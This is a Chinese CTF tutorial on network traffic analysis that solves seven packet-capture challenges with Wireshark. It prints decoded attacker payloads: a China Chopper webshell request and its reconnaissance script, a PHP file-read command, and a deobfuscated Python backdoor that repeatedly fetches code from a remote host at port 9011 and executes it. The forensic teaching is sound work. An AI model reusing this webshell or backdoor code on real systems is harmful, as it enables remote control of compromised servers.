热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

流量分析CTF题目实战

本文原创作者:一叶飘零原创投稿详情:重金悬赏|合天原创投稿等你来!前记最近准备了一个流量分析的课题,于是搜集了一些题目本篇文章为第一篇:流量分析-CTF题目实战后续会继续撰写:流量

《流量分析-CTF题目实战》

本文原创作者: 一叶飘零

原创投稿详情:重金悬赏 | 合天原创投稿等你来!

前记

最近准备了一个流量分析的课题,于是搜集了一些题目

本篇文章为第一篇:流量分析-CTF题目实战

后续会继续撰写:流量分析-企业渗透案例

题目1

打开流量包即可看到

《流量分析-CTF题目实战》解码得到

user:test@51elab.com

passwd:FLAG:ISCCTESTpas

即可完成第一题

题目2

随便跟踪一个tcp流

流0:

《流量分析-CTF题目实战》

流1:

《流量分析-CTF题目实战》

即可发现flag

moctf{c@N_y0U_4lnd_m8}

题目3

我们切换至http进行查看

《流量分析-CTF题目实战》

发现大量数据爆破,猜想是黑客进行扫描

浏览之后,发现最后存在可疑操作

《流量分析-CTF题目实战》

黑客执行phpinfo成功

然后分别执行命令

php

print_r(gzcompress(file_get_contents(base64_decode(%22aW5kZXgucGhw%22))))

print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))))

我们解码查看操作文件名

index.php

flag.txt

发现黑客最后将flag.txt的内容读取,并进行gz压缩

我们切换至原始数据,提取flag.txt的gz压缩二进制内容

789ccbc82c492e49abb6304d32484c354eb4483437b048b234324f4a334c343648494b334e36333531a8e5020018cb0c6c

保存成文件

然后写脚本进行解压缩

php

$a= gzuncompress(file_get_contents(‘./1’));

echo$a;

?>

即可获得flag

hitctf{85b0ae3a8a708b927bf1a30dff3c6540}

题目4

同样,我们先查看http流量

《流量分析-CTF题目实战》

可以发现有人不断像

/uploads/dvwa.php

提交POST数据

根据目录,猜想可能存在一句话木马,进入tcp流跟踪

果然发现可疑操作

cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

解码

cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

解base64

php

@ini_set(“display_errors”,”0″);

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo(“->|”);;

$D=dirname($_SERVER[“SCRIPT_FILENAME”]);

if($D==””)

$D=dirname($_SERVER[“PATH_TRANSLATED”]);

$R=”{$D}\t”;

if(substr($D,0,1)!=”/”)

{

foreach(range(“A”,”Z”)as $L)

if(is_dir(“{$L}:”))

$R.=”{$L}:”;

}

$R.=”\t”;

$u=(function_exists(‘posix_getegid’))?@posix_getpwuid(@posix_geteuid()):”;

$usr=($u)?$u[‘name’]:@get_current_user();

$R.=php_uname();

$R.=”({$usr})”;

print$R;;

echo(&#8220;|<-&#8220;);

die();

发现为中国菜刀的流量

遍历查看黑客操作

在tcpstream 5和6

分别发现猫腻

tcpstream 5

《流量分析-CTF题目实战》

发现存在rar压缩包

利用wireshark的导出对象功能,我们导出该文件,并进行binwalk

《流量分析-CTF题目实战》

果然发现rar文件

利用命令

binwalkq5 -e

提取压缩包,

解压后发现前半部分的key

《流量分析-CTF题目实战》

然后追踪tcpstream 6

《流量分析-CTF题目实战》

发现8950开头格式

根据经验,我知道这是png文件

于是我将其复制出来,利用php语言写入至文件

functionstr2bin($hexdata)

{

$bindata=&#8221;&#8221;;

for ($i=0;$i

$bindata.=chr(hexdec(substr($hexdata,$i,2)));

}

return $bindata;

}

$a= file_get_contents(&#8220;./123.txt&#8221;);

$a= $a;

$b= str2bin($a);

file_put_contents(&#8220;./1.png&#8221;,$b);

随机得到图片

《流量分析-CTF题目实战》

故此得到完整的key

c7265f898a52fcc4

题目5

我们打开tcp跟踪流

看到这样的文件

《流量分析-CTF题目实战》

猜测可能存在pyc文件流内容

我们尝试http导出对象

《流量分析-CTF题目实战》

果不其然发现pyc文件

我们提取后经过在线pyc反编译

https://tool.lu/pyc/

成功得到client.py文件

打开后发现大量base64拆分数组的混淆

如下图

《流量分析-CTF题目实战》

我们尝试解码最后的Base64代码

得到内容

python

strr=&#8221;&#8221;

fori in range(0,1158):

strr=strr+arg[i][::-1]

exec(base64.b64decode(strr))

我们尝试结合上面1158个混淆数组,进行运行,查看内容

《流量分析-CTF题目实战》

我们得到如下内容

importbase64

importsocket

importsys

importos

importtime

decs=&#8217;A/MNCs/sv1lj###AAG#AQ#AHObAQAAZ#ZAEAb#WgEAZ#ZAEAbAIAWgMAZ#ZAEAbAQAWgUAZ#ZAEAbAYAWgcAZAIAWggAaSAAZAMAZAQANmQFAGQGADZkBwBkCAA2ZAkAZAoANmQLAGQMA……………..'(注,过长,就省略了)

f2=open(&#8216;d&#8217;+&#8217;e&#8217;+&#8217;c&#8217;+&#8217;.&#8217;+&#8217;p&#8217;+&#8217;y&#8217;+&#8217;c&#8217;,&#8217;w&#8217;);f2.write(base64.b64decode(decs));f2.close();importdec;os.system(&#8216;rm -rf dec.pyc&#8217;)

remote_ip=&#8217;192.168.1.101&#8242;

port=9011

defsend_m(remote_ip , port,msg,get=False):

all_data=[]

try:

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((remote_ip, port))

ifget:

message=msg

else:

message=enc.fun(msg)

s.sendall(message)

whileTrue:

data= s.recv(20480)

ifdata:

string= bytes.decode(data, &#8216;utf-8&#8217;)

break

returndec.fun(string)

exceptsocket.error, msg:

print&#8217;emmmmmmm_boom&#8217;

sys.exit();

encs=send_m(remote_ip,port,&#8217;just_a_test&#8217;,True)

f1=open(&#8216;e&#8217;+&#8217;n&#8217;+&#8217;c&#8217;+&#8217;.&#8217;+&#8217;p&#8217;+&#8217;y&#8217;+&#8217;c&#8217;,&#8217;w&#8217;);f1.write(base64.b64decode(encs));f1.close();importenc;os.system(&#8216;rm -rf enc.pyc&#8217;)

whileTrue:

exec(send_m(remote_ip,port,&#8217;Ilose my way&#8217;))

print(&#8216;newloop after 5s&#8217;)

time.sleep(5)

可以看到代码首先写入了dec.pyc

然后看到

whileTrue:

data= s.recv(20480)

ifdata:

string= bytes.decode(data, &#8216;utf-8&#8217;)

break

returndec.fun(string)

代码会调用dec的fun函数进行密文解密

并且发现这是一个socket链接

我们在流量包中寻找密文

《流量分析-CTF题目实战》

容易发现如上密文

我们调用dec.py解密

《流量分析-CTF题目实战》

即可看到flag

题目6

解压后得到题目

++__++

由于不知道后缀,我们file一下查看

file++__++

得到结果

++__++:pcap-ng capture file &#8211; version 1.0

我们更改文件为

++__++.pcapng

分析流量,在追踪tcp流的时候发现文件内容

#coding:utf-8

fromCrypto import Random

fromCrypto.Cipher import AES

importsys

importbase64

IV= &#8216;QWERTYUIOPASDFGH&#8217;

defdecrypt(encrypted):

aes = AES.new(IV,AES.MODE_CBC, IV)

return aes.decrypt(encrypted)

defencrypt(message):

length = 16

count = len(message)

padding = length &#8211; (count %length)

message = message + &#8216;\0&#8217; *padding

aes = AES.new(IV,AES.MODE_CBC, IV)

return aes.encrypt(message)

str= &#8216;this is a test&#8217;

example= encrypt(str)

print(decrypt(example))

发现函数调用了AES加密

aes= AES.new(IV, AES.MODE_CBC, IV)

其中密钥为偏移量,即IV

QWERTYUIOPASDFGH

我们寻找密文

发现如下操作

[root@localhostwireshark]# cat  22

19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo=

找到密文

我们进行在线解密

《流量分析-CTF题目实战》

此时可以得到password

但是发现不是flag,于是我们继续分析流量

发现操作

[root@localhostwireshark]# cat  11

Rar!&#8230;.3&#8230;

&#8230;&#8230;&#8230;&#8230;.TU..<&#8230;&#8230;+&#8230;&#8230;flag.txt0&#8230;..n.Kr..z&#8230;.uEo.Bn&=i.S..>&#8230;.4.B..~&#8230;xj.&#8221;.

&#8230;u&#8230;&#8230;3&#8230;..jWj..%m..!.+h&#8230;+s..q#.]&#8230;3Ks.y&#8230;..r.2&#8230;wVQ&#8230;.[root@localhostwireshark]#

发现压缩包文件,我们提取后,利用之前的密码进行解密,得到flag

《流量分析-CTF题目实战》

题目7

题目描述为有黑客入侵了我们的网站,只有流量,让我们发现黑客窃取的数据,打开数据包,大致浏览发现为http攻击,仔细看下,发现是黑客盲注了数据库,偷走了数据。

《流量分析-CTF题目实战》

这是典型的盲注的特征,但是盲注想要恢复数据,并不简单,所以这里需要用到较多的技巧和脚本。

首先用wireshark打开流量包,过滤http协议:

《流量分析-CTF题目实战》

然后发现并不好分析,只能将文件导出

然后因为盲注和返回的数据长度有关,用linux命令将url和数据长度提取出来,保存成data.txt

《流量分析-CTF题目实战》

《流量分析-CTF题目实战》

这是保存成的结果,然后写脚本,恢复一下黑客得到的数据:

脚本如下:

首先恢复user()数据:

《流量分析-CTF题目实战》《流量分析-CTF题目实战》

然后恢复database():

《流量分析-CTF题目实战》《流量分析-CTF题目实战》

同理一步一步恢复数据,直至恢复出flag即可:

《流量分析-CTF题目实战》《流量分析-CTF题目实战》

即可获取flag

后记

本篇文章适合新手入门流量分析,题目难度由易到难。

本文题目提取:https://pan.baidu.com/s/1jbWzpALbG93op5zWx257pQ

密码:kdpv

《流量分析-CTF题目实战》

看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》

《流量分析-CTF题目实战》

《流量分析-CTF题目实战》

别忘了投稿哦!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

重金悬赏 | 合天原创投稿等你来!

《流量分析-CTF题目实战》

《流量分析-CTF题目实战》


推荐阅读
  • Windows环境下详细教程:如何搭建Git服务
    Windows环境下详细教程:如何搭建Git服务 ... [详细]
  • 本文详细介绍了 InfluxDB、collectd 和 Grafana 的安装与配置流程。首先,按照启动顺序依次安装并配置 InfluxDB、collectd 和 Grafana。InfluxDB 作为时序数据库,用于存储时间序列数据;collectd 负责数据的采集与传输;Grafana 则用于数据的可视化展示。文中提供了 collectd 的官方文档链接,便于用户参考和进一步了解其配置选项。通过本指南,读者可以轻松搭建一个高效的数据监控系统。 ... [详细]
  • iOS snow animation
    CTSnowAnimationView.hCTMyCtripCreatedbyalexon1614.Copyright©2016年ctrip.Allrightsreserved.# ... [详细]
  • 本文介绍了 Go 语言中的高性能、可扩展、轻量级 Web 框架 Echo。Echo 框架简单易用,仅需几行代码即可启动一个高性能 HTTP 服务。 ... [详细]
  • 为什么多数程序员难以成为架构师?
    探讨80%的程序员为何难以晋升为架构师,涉及技术深度、经验积累和综合能力等方面。本文将详细解析Tomcat的配置和服务组件,帮助读者理解其内部机制。 ... [详细]
  • 基于iSCSI的SQL Server 2012群集测试(一)SQL群集安装
    一、测试需求介绍与准备公司计划服务器迁移过程计划同时上线SQLServer2012,引入SQLServer2012群集提高高可用性,需要对SQLServ ... [详细]
  • Spring Boot 中配置全局文件上传路径并实现文件上传功能
    本文介绍如何在 Spring Boot 项目中配置全局文件上传路径,并通过读取配置项实现文件上传功能。通过这种方式,可以更好地管理和维护文件路径。 ... [详细]
  • 本文介绍如何在 Android 中自定义加载对话框 CustomProgressDialog,包括自定义 View 类和 XML 布局文件的详细步骤。 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • MySQL Decimal 类型的最大值解析及其在数据处理中的应用艺术
    在关系型数据库中,表的设计与SQL语句的编写对性能的影响至关重要,甚至可占到90%以上。本文将重点探讨MySQL中Decimal类型的最大值及其在数据处理中的应用技巧,通过实例分析和优化建议,帮助读者深入理解并掌握这一重要知识点。 ... [详细]
  • 深入解析OSI七层架构与TCP/IP协议体系
    本文详细探讨了OSI七层模型(Open System Interconnection,开放系统互连)及其与TCP/IP协议体系的关系。OSI模型将网络通信过程划分为七个层次,每个层次负责不同的功能,从物理层到应用层逐步实现数据传输和处理。通过对比分析,本文揭示了OSI模型与TCP/IP协议在结构和功能上的异同,为理解现代网络通信提供了全面的视角。 ... [详细]
  • 如何利用Apache与Nginx高效实现动静态内容分离
    如何利用Apache与Nginx高效实现动静态内容分离 ... [详细]
  • 内网渗透技术详解:PTH、PTT与PTK在域控环境中的应用及猫盘内网穿透配置
    本文深入探讨了内网渗透技术,特别是PTH、PTT与PTK在域控环境中的应用,并详细介绍了猫盘内网穿透的配置方法。通过这些技术,安全研究人员可以更有效地进行内网渗透测试,解决常见的渗透测试难题。此外,文章还提供了实用的配置示例和操作步骤,帮助读者更好地理解和应用这些技术。 ... [详细]
  • Panabit应用层流量管理解决方案
    Panabit是一款国内领先的应用层流量管理解决方案,提供高度开放且免费的专业服务,尤其擅长P2P应用的精准识别与高效控制。截至2009年3月25日,该系统已实现对多种网络应用的全面支持,有效提升了网络资源的利用效率和安全性。 ... [详细]
  • 检查 Kubernetes 系统命名空间中的 Pod 状态时,发现 Metric Server Pod 虽然处于运行状态,但存在异常:日志显示 'it doesn’t contain any IP SANs'。 ... [详细]
author-avatar
易柔宛_968
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有